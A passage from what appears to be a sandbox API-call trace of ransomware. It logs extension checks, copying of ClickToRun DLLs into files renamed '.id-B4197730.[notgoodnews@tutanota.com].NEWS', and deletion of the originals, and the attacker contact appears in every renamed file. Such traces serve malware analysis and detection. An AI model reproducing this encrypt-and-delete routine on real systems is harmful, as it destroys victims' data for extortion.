4 [0082.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.964] lstrlenW (lpString=".bz2") returned 4 [0082.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.964] lstrlenW (lpString=".7z") returned 3 [0082.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString=".dbf") returned 4 [0082.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString=".1cd") returned 4 [0082.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString=".jpg") returned 4 [0082.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString=".doc") returned 4 [0082.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.965] lstrlenW (lpString=".docx") returned 5 [0082.965] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0082.965] lstrlenW (lpString=".pdf") returned 4 [0082.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.965] lstrlenW (lpString=".xls") returned 4 [0082.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.965] lstrlenW (lpString=".xlsx") returned 5 [0082.965] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0082.965] lstrlenW (lpString=".ppt") returned 4 [0082.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.965] lstrlenW (lpString=".zip") returned 4 [0082.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.965] lstrlenW (lpString=".rar") returned 4 [0082.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.965] lstrlenW (lpString=".bz2") returned 4 [0082.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.965] lstrlenW (lpString=".7z") returned 3 [0082.965] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.965] lstrlenW (lpString=".dbf") returned 4 [0082.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.965] lstrlenW (lpString=".1cd") returned 4 [0082.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.965] lstrlenW (lpString=".jpg") returned 4 [0082.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.965] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.965] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0082.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.966] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=947928) returned 1 [0082.966] CloseHandle (hObject=0x378) returned 1 [0082.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0082.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.966] lstrlenW (lpString=".doc") returned 4 [0082.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.966] lstrlenW (lpString=".docx") returned 5 [0082.966] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0082.966] lstrlenW (lpString=".pdf") returned 4 [0082.966] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.966] lstrlenW (lpString=".xls") returned 4 [0082.966] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.966] lstrlenW (lpString=".xlsx") returned 5 [0082.966] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0082.966] lstrlenW (lpString=".ppt") returned 4 [0082.966] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.966] lstrlenW (lpString=".zip") returned 4 [0082.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.966] lstrlenW (lpString=".rar") returned 4 [0082.967] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString=".bz2") returned 4 [0082.967] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.967] lstrlenW (lpString=".7z") returned 3 [0082.967] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.967] lstrlenW (lpString=".dbf") returned 4 [0082.967] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.967] lstrlenW (lpString=".1cd") returned 4 [0082.967] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.967] lstrlenW (lpString=".jpg") returned 4 [0082.967] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.967] lstrlenW (lpString=".doc") returned 4 [0082.967] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString=".docx") returned 5 [0082.967] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0082.967] lstrlenW (lpString=".pdf") returned 4 [0082.967] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString=".xls") returned 4 [0082.967] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString=".xlsx") returned 5 [0082.967] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0082.967] lstrlenW (lpString=".ppt") returned 4 [0082.967] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.967] lstrlenW (lpString=".zip") returned 4 [0082.967] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString=".rar") returned 4 [0082.967] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.967] lstrlenW (lpString=".bz2") returned 4 [0082.967] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.967] lstrlenW (lpString=".7z") returned 3 [0082.968] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.968] lstrlenW (lpString=".dbf") returned 4 [0082.968] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.968] lstrlenW (lpString=".1cd") returned 4 [0082.968] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0082.968] lstrlenW (lpString=".jpg") returned 4 [0082.968] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.968] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.968] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0082.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.968] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1295576) returned 1 [0082.968] CloseHandle (hObject=0x378) returned 1 [0082.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0082.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0082.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0082.969] lstrlenW (lpString=".doc") returned 4 [0082.969] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.969] lstrlenW (lpString=".docx") returned 5 [0082.969] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0082.969] lstrlenW (lpString=".pdf") returned 4 [0082.969] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.969] lstrlenW (lpString=".xls") returned 4 [0082.969] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.969] lstrlenW (lpString=".xlsx") returned 5 [0082.969] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0082.969] lstrlenW (lpString=".ppt") returned 4 [0082.969] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0082.969] lstrlenW (lpString=".zip") returned 4 [0082.969] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.969] lstrlenW (lpString=".rar") returned 4 [0082.969] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.969] lstrlenW (lpString=".bz2") returned 4 [0082.969] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.969] lstrlenW (lpString=".7z") returned 3 [0082.969] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0082.969] lstrlenW (lpString=".dbf") returned 4 [0082.969] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.970] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.970] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0082.971] GetLastError () returned 0x0 [0082.971] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0082.981] WriteFile (in: hFile=0x36c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0082.990] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.990] WriteFile (in: hFile=0x36c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0082.990] SetEndOfFile (hFile=0x36c) returned 1 [0082.990] CloseHandle (hObject=0x36c) returned 1 [0083.511] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.511] SetEndOfFile (hFile=0x378) returned 1 [0083.516] CloseHandle (hObject=0x378) returned 1 [0083.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.516] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.517] lstrlenW (lpString=".doc") returned 4 [0083.517] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.517] lstrlenW (lpString=".docx") returned 5 [0083.517] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0083.517] lstrlenW (lpString=".pdf") returned 4 [0083.517] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.517] lstrlenW (lpString=".xls") returned 4 [0083.517] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.517] lstrlenW (lpString=".xlsx") returned 5 [0083.517] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0083.517] lstrlenW (lpString=".ppt") returned 4 [0083.517] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.517] lstrlenW (lpString=".zip") returned 4 [0083.517] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.517] lstrlenW (lpString=".rar") returned 4 [0083.517] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.517] lstrlenW (lpString=".bz2") returned 4 [0083.517] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.517] lstrlenW (lpString=".7z") returned 3 [0083.517] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.517] lstrlenW (lpString=".dbf") returned 4 [0083.517] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.517] lstrlenW (lpString=".1cd") returned 4 [0083.517] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.517] lstrlenW (lpString=".jpg") returned 4 [0083.517] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.518] lstrlenW (lpString=".doc") returned 4 [0083.518] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.518] lstrlenW (lpString=".docx") returned 5 [0083.518] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0083.518] lstrlenW (lpString=".pdf") returned 4 [0083.518] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.518] lstrlenW (lpString=".xls") returned 4 [0083.518] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.518] lstrlenW (lpString=".xlsx") returned 5 [0083.518] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0083.518] lstrlenW (lpString=".ppt") returned 4 [0083.518] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.518] lstrlenW (lpString=".zip") returned 4 [0083.518] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.518] lstrlenW (lpString=".rar") returned 4 [0083.518] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.518] lstrlenW (lpString=".bz2") returned 4 [0083.518] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.518] lstrlenW (lpString=".7z") returned 3 [0083.518] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.518] lstrlenW (lpString=".dbf") returned 4 [0083.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.518] lstrlenW (lpString=".1cd") returned 4 [0083.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0083.518] lstrlenW (lpString=".jpg") returned 4 [0083.518] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.519] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0083.519] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0083.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0083.519] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=902328) returned 1 [0083.519] CloseHandle (hObject=0x378) returned 1 [0083.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0083.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0083.520] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.520] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0083.520] GetLastError () returned 0x0 [0083.520] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0083.537] WriteFile (in: hFile=0x36c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0083.918] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.918] WriteFile (in: hFile=0x36c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf2, lpOverlapped=0x0) returned 1 [0083.918] SetEndOfFile (hFile=0x36c) returned 1 [0083.918] CloseHandle (hObject=0x36c) returned 1 [0083.918] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.918] SetEndOfFile (hFile=0x378) returned 1 [0083.926] CloseHandle (hObject=0x378) returned 1 [0083.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.927] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0085.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.049] lstrlenW (lpString=".doc") returned 4 [0085.049] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.049] lstrlenW (lpString=".docx") returned 5 [0085.049] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.049] lstrlenW (lpString=".pdf") returned 4 [0085.049] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.049] lstrlenW (lpString=".xls") returned 4 [0085.049] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.049] lstrlenW (lpString=".xlsx") returned 5 [0085.049] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.049] lstrlenW (lpString=".ppt") returned 4 [0085.049] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.049] lstrlenW (lpString=".zip") returned 4 [0085.049] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.049] lstrlenW (lpString=".rar") returned 4 [0085.049] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.049] lstrlenW (lpString=".bz2") returned 4 [0085.049] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.049] lstrlenW (lpString=".7z") returned 3 [0085.049] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.049] lstrlenW (lpString=".dbf") returned 4 [0085.049] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.049] lstrlenW (lpString=".1cd") returned 4 [0085.049] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.049] lstrlenW (lpString=".jpg") returned 4 [0085.050] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.050] lstrlenW (lpString=".doc") returned 4 [0085.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.050] lstrlenW (lpString=".docx") returned 5 [0085.050] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.050] lstrlenW (lpString=".pdf") returned 4 [0085.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.050] lstrlenW (lpString=".xls") returned 4 [0085.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.050] lstrlenW (lpString=".xlsx") returned 5 [0085.050] lstrcmpiW (lpString1=".xlsx", 